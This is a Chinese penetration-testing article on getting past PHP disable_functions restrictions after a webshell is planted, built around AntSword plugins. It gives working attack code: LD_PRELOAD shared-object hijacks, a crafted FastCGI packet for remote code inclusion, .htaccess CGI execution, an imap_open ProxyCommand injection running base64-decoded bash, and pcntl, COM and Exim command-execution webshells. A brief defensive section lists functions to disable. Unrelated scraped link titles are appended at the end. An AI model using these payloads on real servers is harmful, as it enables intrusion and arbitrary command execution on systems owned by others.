0x00 前言在实际渗透一些php站的时候,时常会遇到有了webshell,却无法执行命令的情况,大多数是因为使用 disablefunctions 禁用了命令执行的相关函数。判断某种绕过方法的关联依赖函数是否也被禁用了或者依赖环境是否可用是较麻烦的,本文则主要讲Antsword插件实现的disablefunctions方法及整理的其他公开可利用方式。0x01 Antsword自18年8月的 v2.0.0-beta 版本开始,引入了加载器的概念用户及开发者无需安装额外的环境,只需要下载对应平台的加载器可直接运行当前最新的开发版和发行版

同版本开始引入了插件的概念,用户可从远程PlugStore安装现成插件或结合自身需求编写插件来扩展蚁剑的功能,如端口扫描、权限提升等一些列后渗透操作0x02 绕过disable_functions插件Medicean在4月份基于Antsword插件规则编写了asbypassphpdisablefunctions插件,便于绕过disable_functions的命令执行限制

1.LD_PRELOAD

利用原理

LD_PRELOAD 是Linux的环境变量,它允许你定义在程序运行前优先加载的动态链接库在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的

mail() 、 error_log()、ImageMagick() 是常用于劫持的触发函数,原因是需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数

  • mail函数在运行时,会启动子进程来调用系统的sendmail

  • error_log函数当第二个参数为1时,同样会启动子进程来调用系统的sendmail

  • ImageMagick函数调用时,也会调用外部程序去处理指定格式文件

以mail()函数为例,查看sendmail调用的函数

可选择不需传递参数的get型函数进行劫持,通过 man 命令查看getegid()函数的实现

重写 getegid() 函数进行编译

// testcc.c#include #include uid_t getegid(void){  if (getenv("LD_PRELOAD") == NULL){//防止其他函数也被劫持        return 0;    }    unsetenv("LD_PRELOAD");//用完即删    system("whoami > testcc.txt");    return 0;}

成功劫持getegid()函数执行命令

插件实现

在插件中,该原理脚本如下:

<?php   putenv("LD_PRELOAD=/tmp/hack.so");  error_log("a",1);  mail("a@localhost","","","","");?>

hack.so会调用php开启一个默认配置的PHPServer

并在web目录生成一个.antproxy.php,与新PHPServer建立Socket连接,转发流量到index.php一句话执行命令成功使用此绕过插件的三个必要条件是:

  1. mail()函数和error_log()函数所调用的sendmail已安装
  2. 不限制 /usr/sbin/sendmail 的执行
  3. mail()函数和error_log()函数有一个未被禁用

那如果目标环境没有sendmail或者禁止调用sendmail的话,该插件方法就无法使用扩展方法可利用__attribute__ ((__constructor__)),其为GCC的C 语言扩展修饰符。当它出现在共享对象中时,一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,实现对共享库的劫持

// testss.c#define _GNU_SOURCE#include #include #include __attribute__ ((__constructor__)) void angel (void){    unsetenv("LD_PRELOAD");    const char* cmd = getenv("CMD");    system(cmd);}

使用php尝试执行开启新PHPServer的命令

<?php $cmd = "php -n -S 127.0.0.1:6666 -t /var/www/html";putenv("CMD=".$cmd);$so_path = "/tmp/testss.so";putenv("LD_PRELOAD=".$so_path);;error_log("a",1);?>

执行成功,可直接将流量转发到6666的PHPServer继续命令执行

2.Fastcgi/PHP-FPM

利用原理

Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换;PHP-FPM 则是php环境中对Fastcgi协议的管理程序实现Nginx为fastcgi 提供了 fastcgi_param 来主要处理映射关系,将 Nginx 中的变量翻译成 PHP 能够理解的变量

例如用户访问http://127.0.0.1/hackme.php?test=1,假设web目录为/var/www/html,那么请求会被解析成如下键值对:

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/hackme.php',    'SCRIPT_NAME': '/hackme.php',    'QUERY_STRING': '?test=1',    'REQUEST_URI': '/hackme.php?test=1',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '6666',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'}

其中SCRIPT_FILENAME 用于指定执行的文件,但php-fpm的默认配置中有一个选项:security.limit_extensions 限制了fpm可执行的后缀文件

我们可利用两个php环境变量字段来构造fastcgi包让fpm执行指定的文件:PHP_VALUE及PHP_ADMIN_VALUE

PHP_VALUE 可动态修改模式为PHP_INI_USER和PHP_INI_ALL的配置项,但不能设置on/off等布尔值

例如使用如下fastcgi指令,通过设置 auto_prepend_file 来实现运行第一个php代码前加载指定的HACK.php

fastcgi_param PHP_VALUE "auto_prepend_file=/var/html/www/7488/HACK.php";

PHP_ADMIN_VALUE可以设置php.ini的属性值任意配置项且不会被.htaccess和ini_set()函数所覆盖但无法覆盖disablefunctions,原因是因为在php运行时,已经按照disablefunctions将禁用函数对应的地址从函数hash列表中剔除

构造攻击协议包如下:

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/hackme.php',    'SCRIPT_NAME': '/hackme.php',    'QUERY_STRING': '?test=1',    'REQUEST_URI': '/hackme.php?test=1',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '6666',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'    'PHP_VALUE': 'auto_prepend_file = php://input',    'PHP_ADMIN_VALUE': 'allow_url_include = On'}

设置auto_prepend_file = php://input以及allow_url_include = On,实现在执行php文件执行前进行远程文件包含POST内容,从而任意代码执行

插件实现

判断选定的fpm连接方式为Unix Socket还是TCP

紧接着与第一种LD_PRELOAD实现相同,将启动新的PHPServer命令插入代上传的so文件指定字节位置,进行上传

so文件上传成功后,初始化fastcgiclient,构造恶意fastcgi协议连接php-fpm,PHP_VALUE与PHP_ADMIN_VALUE均将extension指向so文件,发送协议后动态加载我们的扩展文件,启动默认配置的PHPServer

最后上传代理脚本,将流量通过index.php转发到新PHPServer,实现绕过disable_function

3.Apache Mod CGI

利用原理

Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行

在.htaccess文件中可定制用户定义标识头添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本

添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序

此时需要保证.htaccess可以加载进当前web环境当apache配置文件中指定web目录下AllowOverride参数值为None 时,.htaccess 文件无法生效在apache2.3.8版本之前AllowOverride参数值默认设置为 All,.htaccess 文件设置的指令可生效

配置好cgi文件的环境变量后可通过构造如下脚本来实现命令执行

#! /bin/bashecho -ne "Content-Type: text/html\n\n"//发送给浏览器告诉浏览器文件的内容类型,否则500whoami

插件实现

插件脚本首先判断modcgi是否启用、当前目录是否可写、.htaccess是否可正常使用

备份.htaccess文件并配置好新的.htaccess以及写入cgi脚本文件shell.ant,并赋执行权限

最后启动一个新的终端,将我们输入的命令put进shell.ant对其发起请求,实现命令执行

4.Json Serializer UAF && PHP7 GC with Certain Destructors UAF

利用原理

php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令影响范围是linux,php7.0-7.3https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.phpphp-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令影响范围是linux,php 7.1-7.3https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

插件实现

两插件首先判断系统版本及php版本是否满足使用条件启新终端,通过PHP7GCUAFEXP()函数、JSONSerializer_UAF()函数传递执行命令

两EXP函数通过调用原作者POC实现https://github.com/mm0r1/exploits0x03 其他绕过方式

1.IMAP Bypass

imap_open()函数需安装imap扩展,用于打开连接某个邮箱的IMAP流

当启用了rsh和ssh功能并且在debian/ubuntu中会默认调用ssh进行连接

//imap.php<?php $payload = "whoami >/tmp/result";$encoded_payload = base64_encode($payload);$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');echo file_get_contents("/tmp/result");?>

由于未对参数传递进行正确编码,导致ssh建立连接可利用\t代替空格进行-oProxyCommand参数命令拼接,从而调用系统shell执行命令

2.PCNTL Bypass

当php安装并使用pcntl扩展时,可借助其pcntlexec()函数直接执行命令来尝试绕过disablefunctions

通过文件读写来达到命令执行回显

<?php header("Content-Type: text/plain");$cmd = "/tmp/exec";@unlink($cmd);$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";file_put_contents($cmd, $c);chmod($cmd, 0777);$cd = "/tmp/output.txt";print_r(file_get_contents($cd));switch (pcntl_fork()) {  case 0:    $ret = pcntl_exec($cmd);    exit("case 0");  default:    echo "case 1";    break;}

3.COM Bypass

该利用方式调用windows的COM组件需要在php.ini中开启并添加extension

com.allow_dcom = trueextension = php_com_dotnet.dll

通过COM组件直接调用WScript.shell或Shell.Application执行系统命令

<?php $wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';if($wsh == 'wscript') {    $command = $_GET['cmd'];    $wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");    $exec = $wshit->exec("cmd /c".$command);    $stdout = $exec->StdOut();    $stroutput = $stdout->ReadAll();    echo $stroutput;}elseif($wsh == 'application') {    $command = $_GET['cmd'];    $wshit = new COM("Shell.Application") or die("Shell.Application Failed!");    $exec = $wshit->ShellExecute("cmd","/c ".$command);}else {  echo(0);}?>

4.EXIM Bypass

mail()函数的第五个additional_parameters参数可用于设置命令行选项传递给配置为发送邮件时使用的程序

例如,当将sendmail与-C -X 选项一起使用时,可读取文件并输出到指定文件

<?php mail("","","",""," -C/etc/passwd -X/tmp/result");?>//     -C file     Use alternate configuration file.  Sendmail refuses to run as root if an alternate configuration file is specified.//     -X logfile  Log all traffic in and out of mailers in the indicated log file.  This should only be used as a last resort for debug-ging mailer bugs.  It will log a lot of data very quickly.

当系统使用Exim4来发送邮件时 -be 参数支持运行扩展模式对指定字符串扩展格式进行解析

${run{<command> <args>}{<string1>}{<string2>}}//执行命令<command> <args>,成功返回string1,失败返回string2${substr{<string1>}{<string2>}{<string3>}}//字符串的截取,在string3中从string1开始截取string2个字符

使用run进行命令执行,但空格等特殊字符无法识别

借助其substr函数来截取字符串进行替换特殊字符

如,使用substr{13}{1}{$tod_log} 从第14个字符开始截取一个字符为:substr{10}{1}{$tod_log}第11个字符即为空格

//From l3m0n<?php $c = @$_GET['lemon'];$result_file = "/tmp/test.txt";$tmp_file = '/tmp/aaaaaaaaaaa.sh';$command = $c . '>' . $result_file;file_put_contents($tmp_file, $command);$payload = "-be \${run{/bin/bash\${substr{10}{1}{\$tod_log}}/tmp/aaaaaaaaaaa.sh}{ok}{error}}";mail("a@localhost", "", "", "", $payload);echo file_get_contents($result_file);@unlink($tmp_file);@unlink($result_file);?>

5.FFI Bypass

FFI(Foreign Function Interface)是 PHP7.4 新加入的功能,即外部函数接口,允许从共享库中调用C代码FFI的使用如下分为声明和调用两个部分

利用ffi来引入libc中的system函数执行命令

0x04 如何防御

  1. disable_function禁用参考
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
  1. PHP7使用28 Nov 2019以后版本
  2. 正确设置open_basedir及目录的可写权限
  3. 做好上述插件和组件的配置核查
  4. 使用主机监控和waf对webshell进行检测和敏感操作拦截

参考https://github.com/AntSwordProject/AntSword-Labshttps://blog.1pwnch.com/websecurity/2019/04/08/Bypass-disablefuncs-with-LDPRELOAD/https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

Hack PHP mail additional_parameters

https://www.mi1k7ea.com/2019/06/07/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/

更多好文

点亮Linux下Rootkit技能树多种姿势openrasp命令执行绕过2019年度APT攻击回顾

disable path length limit_通过Antsword看绕过disable_functions相关推荐

  1. Path(2)之verp中path position和path length的区别

    主要的内容来自官方文档,但是觉得自己可能有理解不到位的地方,以后也许需要再次修改. 1.path position Along a path object, an intrinsic position ...

  2. php.ini disable_functions 配置 无效,看我深夜如何绕过disable_functions拿到主机权限

    找了一会找到一个上传点,尝试上传文件 拿到shell 用冰蝎连一下: 三.开启外链拿到数据库 然后尝试找他的数据库的配置文件,因为只能本地连接数据库不允许外链,所以我们可以先传一个小马登录他的数据库, ...

  3. 绕过disable_functions

    文章目录 前言 黑名单绕过 利用 LD_PRELOAD 环境变量 LD_PRELOAD 简介 利用条件 劫持 getuid() 劫持启动进程 演示过程 利用ShellShock(CVE-2014-62 ...

  4. 和preload_通过LD_PRELOAD绕过disable_functions

    0x00 前言 前段时间碰到拿到shell以后限制了basedir并且无法执行命令的情况,解决办法是上传恶意的.so文件,并通过设置LD_PRELOAD,然后调用新进程来加载恶意.so文件,达到绕过的 ...

  5. apache启服务命令_apache_cgi绕过disable_functions

    前言 apache有一个cgi模块,该模块可以设置指定文件类型以cgi方式让服务器运行,例如一个不存在的afaafa后缀文件,通过设置,就可以当作cgi运行,因为是直接服务器运行的,所以可以绕过php ...

  6. 通过php内核变量绕过,利用PHP内核变量绕过disable_functions(附完整代码)

    0×01 概述 在https://rdot.org网站上面,有一篇俄语文章专门介绍了如何使用fopen/fread/fwrite函数来操纵内存文件/proc/self/mem.利用这种方法,人们就可以 ...

  7. python系列教程-python前世今生以及windows下环境的安装

    文章目录 一.python的前世今生 1.1 Python的起源 二.为什么要学习python 2.1.从语言排行榜上看 三.python的安装 3.1 python下载 3.2 自定义安装路径,以及 ...

  8. Python软件安装教程,以Python3.10.6为例(适用中文好的UU)

    文章目录 软件下载 软件安装 相关链接 我们有各种各样的原因可能用到某一(历史)版本的Python,看了网上这里一下那里一下真是吃了不学英语的亏. 软件下载    1.英文好的UU:直接上网址http ...

  9. python语言基础-Python语言基础01-初识Python

    1. Python简介 1.1 Python的历史 Python的创始人为吉多·范罗苏姆(荷兰语:Guido van Rossum) 1989年的圣诞节期间:吉多·范罗苏姆为了在阿姆斯特丹打发时间,决 ...

最新文章

  1. CentOS搭建msmtp+mutt实现邮件发送
  2. Angular里使用createEmbeddedView的单步调试
  3. linux通过不同端口访问,linux下两个tomcat通过不同端口访问不同项目
  4. 利用SQL移动硬盘文件(转于zjcxc)
  5. Rabbitmq工作笔记009---access to vhost ‘/‘ refused for user 权限问题
  6. 全新第二代至强,凌动 P5900……英特尔四款 5G 新利器开启 2020 开门红!
  7. ADB通过WiFi连接手机调试Android应用
  8. Idea Debug多线程不进断点问题处理
  9. WinPmem:跨平台内存采集工具
  10. com组件调用regsvr32的时候调试DllRegisterServer时候遇到的问题
  11. html 倒计时,jQuery倒计时插件
  12. 计算机网络 互联网使用的安全协议
  13. vba获取html代码数据,VBA获取网页表格数据
  14. 洛谷 #2197. Nim游戏
  15. iframe嵌入网页的用法
  16. oracle11g断电后无法启动,电脑突然断电后无法启动
  17. codeforces 549F Yura and Developers(分治、启发式合并)
  18. rails连接Mysql的数据库
  19. [GKCTF2020]CheckIN
  20. 安卓虚拟键盘_Logitech罗技 key to go蓝牙键盘使用体验

热门文章

  1. 如何使用Node.js构建完整的GraphQL服务器
  2. redux引用多个中间件_如何轻松创建您的第一个Redux中间件
  3. azure机器学习_我如何打造一款赢得2016 Azure机器学习奖的游戏
  4. 1秒获取Power BI Pro帐号
  5. MATLAB中矩阵与数组的区别,点运算符的运用
  6. 【Python】基础总结
  7. Javascript——进阶(事件、数组操作、字符串操作、定时器)
  8. Python中的顺序表介绍
  9. 4款.Net报表控件优势对比分析
  10. 洛阳市高中学业水平计算机考试,2019年河南洛阳市高中学生学业水平考试考点及时间...